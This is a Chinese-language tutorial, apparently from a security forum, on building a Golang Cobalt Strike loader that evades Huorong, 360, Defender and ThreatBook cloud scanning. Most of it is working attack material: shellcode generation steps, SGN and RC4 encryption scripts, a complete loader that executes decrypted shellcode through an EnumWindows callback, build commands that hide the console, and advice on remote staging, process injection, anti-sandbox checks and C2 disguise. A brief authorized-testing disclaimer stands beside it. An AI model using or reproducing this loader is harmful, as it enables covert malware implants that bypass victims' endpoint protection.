cs免杀(lodaer1,过国内御三家,微步云查杀)
字数 1489 2025-08-29 22:41:32

Golang免杀Loader制作教程:绕过国内御三家及微步云查杀

一、前言

本教程将详细介绍如何使用Golang制作一个能够绕过国内主流杀毒软件(火绒、360、Defender)以及微步云查杀的Cobalt Strike Loader。教程基于先知社区用户yawataa的分享,结合实践验证,提供完整的实现步骤。

二、工具准备

  1. Cobalt Strike版本选择

    • 推荐使用CS 4.9或vshell版本(实测能轻松绕过火绒6.0内存查杀)
    • CS 4.5也可用,但需要修改profile文件绕过火绒6.0的严格检测
  2. 辅助工具

    • SGN(Shikata ga nai加密工具)
    • Editbin.exe(VC工具,用于隐藏控制台黑框)
    • Python脚本(用于Shellcode转换和RC4加密)

三、实现步骤

1. Cobalt Strike配置

  • 修改默认监听端口(示例中使用1412端口)
  • 确保已处理好特征码(某些版本已预先修改好)

2. 生成Shellcode

  • 在Cobalt Strike中选择"Attacks" → "Packages" → "Windows Executable (S)"
  • 生成方式选择"raw"(二进制格式)
  • 输出为.bin文件

3. Shellcode加密处理

3.1 使用SGN加密

sgn -a x86 -c 1 -o pd.bin raw_shellcode.bin

参数说明:

  • -a:架构(x86或x64)
  • -c:加密轮数
  • -o:输出文件名

3.2 使用Python脚本转换格式

# de.py - Shellcode转换脚本
with open('pd.bin', 'rb') as f:
    sc = f.read()
    
print('{', end='')
for i, b in enumerate(sc):
    if i != 0:
        print(', ', end='')
    print(f'0x{b:02x}', end='')
print('}')

3.3 RC4加密处理

# rc4en.py - RC4加密脚本
from Crypto.Cipher import ARC4

key = b'a3cb2tg1y!@#'  # 自定义密钥
with open('pd.bin', 'rb') as f:
    sc = f.read()

cipher = ARC4.new(key)
encrypted = cipher.encrypt(sc)

with open('encrypted.bin', 'wb') as f:
    f.write(encrypted)

4. Golang Loader代码

package main

import (
    "crypto/rc4"
    "golang.org/x/sys/windows"
    "syscall"
    "unsafe"
)

func main() {
    // 1.加载必要的DLL
    kernel32 := windows.NewLazyDLL("kernel32.dll")
    Activeds := syscall.NewLazyDLL("Activeds.dll")
    User32 := windows.NewLazyDLL("User32.dll")
    
    // 2.获取API函数
    AllocADsMem := Activeds.NewProc("AllocADsMem")
    VirtualProtect := kernel32.NewProc("VirtualProtect")
    EnumWindows := User32.NewProc("EnumWindows")
    RtlCopyMemory := kernel32.NewProc("RtlCopyMemory")
    
    // 3.RC4解密Shellcode
    key := []byte("a3cb2tg1y!@#")
    sc := []byte{0x41, 0x0b, ..., 0xee} // 替换为加密后的Shellcode
    
    cp, _ := rc4.NewCipher(key)
    decrypted := make([]byte, len(sc))
    cp.XORKeyStream(decrypted, sc)
    
    // 4.分配内存并复制Shellcode
    addr, _, _ := AllocADsMem.Call(uintptr(len(decrypted)))
    RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decrypted[0])), uintptr(len(decrypted)))
    
    // 5.修改内存保护属性
    oldProtect := 0x40
    VirtualProtect.Call(addr, uintptr(len(decrypted)), 0x40, uintptr(unsafe.Pointer(&oldProtect)))
    
    // 6.执行Shellcode
    EnumWindows.Call(addr, 0)
}

5. 编译优化

5.1 批量编译脚本

# 使用不同参数编译测试
for i in {1..10}; do
    GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -H=windowsgui" -o loader_$i.exe main.go
done

5.2 隐藏控制台黑框

使用editbin.exe修改PE文件属性:

editbin /SUBSYSTEM:WINDOWS /ENTRY:main.main loader.exe

或使用批量处理脚本:

// changeme.go - 批量隐藏黑框
package main

import (
    "os/exec"
    "path/filepath"
    "strings"
)

func main() {
    files, _ := filepath.Glob("*.exe")
    for _, file := range files {
        if !strings.Contains(file, "changeme") {
            cmd := exec.Command("editbin", "/SUBSYSTEM:WINDOWS", "/ENTRY:main.main", file)
            cmd.Run()
        }
    }
}

四、免杀原理分析

  1. API调用技巧

    • 使用较少见的API如AllocADsMem分配内存
    • 通过EnumWindows回调执行Shellcode
  2. 加密方案

    • 双重加密:SGN + RC4
    • 动态解密,不暴露原始Shellcode
  3. 内存操作

    • 使用VirtualProtect修改内存属性
    • 避免直接调用CreateThread等敏感API
  4. 编译优化

    • 多种编译参数组合测试
    • 隐藏控制台窗口减少可疑行为

五、测试验证

  1. 火绒6.0

    • 内存查杀绕过成功
    • 静态扫描无检测
  2. 360安全卫士

    • 无风险提示
    • 云查杀无拦截
  3. Windows Defender

    • 最新病毒库下无检测
    • 行为分析无告警

六、进阶优化方向

  1. 文件分离加载

    • 将Shellcode存储在远程服务器
    • 运行时下载并解密执行
  2. 进程注入

    • 选择合法进程进行注入
    • 如explorer.exe、svchost.exe等
  3. 反沙箱检测

    • 添加环境检测逻辑
    • 虚拟机和沙箱环境下不执行恶意代码
  4. 流量混淆

    • 修改C2通信特征
    • 使用合法协议伪装(如HTTP over SSL)

七、注意事项

  1. 本教程仅供安全研究和授权测试使用
  2. 实际环境中可能需要根据杀软更新调整技术细节
  3. 建议在虚拟机环境中测试,避免意外感染
  4. 保持工具和技术的更新,防御方也在不断进化

八、附录

  1. 工具下载

    • SGN工具:可从GitHub获取
    • Editbin.exe:Visual Studio自带工具
    • Python脚本:可自行编写或从原帖获取
  2. 参考资源

    • Cobalt Strike官方文档
    • Golang syscall包文档
    • Windows API参考手册

通过以上步骤,您可以构建一个能够绕过国内主流杀毒软件的Golang Loader。请记住,免杀是一个持续对抗的过程,需要根据实际情况不断调整和优化您的技术方案。

Golang免杀Loader制作教程:绕过国内御三家及微步云查杀 一、前言 本教程将详细介绍如何使用Golang制作一个能够绕过国内主流杀毒软件(火绒、360、Defender)以及微步云查杀的Cobalt Strike Loader。教程基于先知社区用户yawataa的分享,结合实践验证,提供完整的实现步骤。 二、工具准备 Cobalt Strike版本选择 : 推荐使用CS 4.9或vshell版本(实测能轻松绕过火绒6.0内存查杀) CS 4.5也可用,但需要修改profile文件绕过火绒6.0的严格检测 辅助工具 : SGN(Shikata ga nai加密工具) Editbin.exe(VC工具,用于隐藏控制台黑框) Python脚本(用于Shellcode转换和RC4加密) 三、实现步骤 1. Cobalt Strike配置 修改默认监听端口(示例中使用1412端口) 确保已处理好特征码(某些版本已预先修改好) 2. 生成Shellcode 在Cobalt Strike中选择"Attacks" → "Packages" → "Windows Executable (S)" 生成方式选择"raw"(二进制格式) 输出为.bin文件 3. Shellcode加密处理 3.1 使用SGN加密 参数说明: -a :架构(x86或x64) -c :加密轮数 -o :输出文件名 3.2 使用Python脚本转换格式 3.3 RC4加密处理 4. Golang Loader代码 5. 编译优化 5.1 批量编译脚本 5.2 隐藏控制台黑框 使用editbin.exe修改PE文件属性: 或使用批量处理脚本: 四、免杀原理分析 API调用技巧 : 使用较少见的API如 AllocADsMem 分配内存 通过 EnumWindows 回调执行Shellcode 加密方案 : 双重加密:SGN + RC4 动态解密,不暴露原始Shellcode 内存操作 : 使用 VirtualProtect 修改内存属性 避免直接调用 CreateThread 等敏感API 编译优化 : 多种编译参数组合测试 隐藏控制台窗口减少可疑行为 五、测试验证 火绒6.0 : 内存查杀绕过成功 静态扫描无检测 360安全卫士 : 无风险提示 云查杀无拦截 Windows Defender : 最新病毒库下无检测 行为分析无告警 六、进阶优化方向 文件分离加载 : 将Shellcode存储在远程服务器 运行时下载并解密执行 进程注入 : 选择合法进程进行注入 如explorer.exe、svchost.exe等 反沙箱检测 : 添加环境检测逻辑 虚拟机和沙箱环境下不执行恶意代码 流量混淆 : 修改C2通信特征 使用合法协议伪装(如HTTP over SSL) 七、注意事项 本教程仅供安全研究和授权测试使用 实际环境中可能需要根据杀软更新调整技术细节 建议在虚拟机环境中测试,避免意外感染 保持工具和技术的更新,防御方也在不断进化 八、附录 工具下载 : SGN工具:可从GitHub获取 Editbin.exe:Visual Studio自带工具 Python脚本:可自行编写或从原帖获取 参考资源 : Cobalt Strike官方文档 Golang syscall包文档 Windows API参考手册 通过以上步骤,您可以构建一个能够绕过国内主流杀毒软件的Golang Loader。请记住,免杀是一个持续对抗的过程,需要根据实际情况不断调整和优化您的技术方案。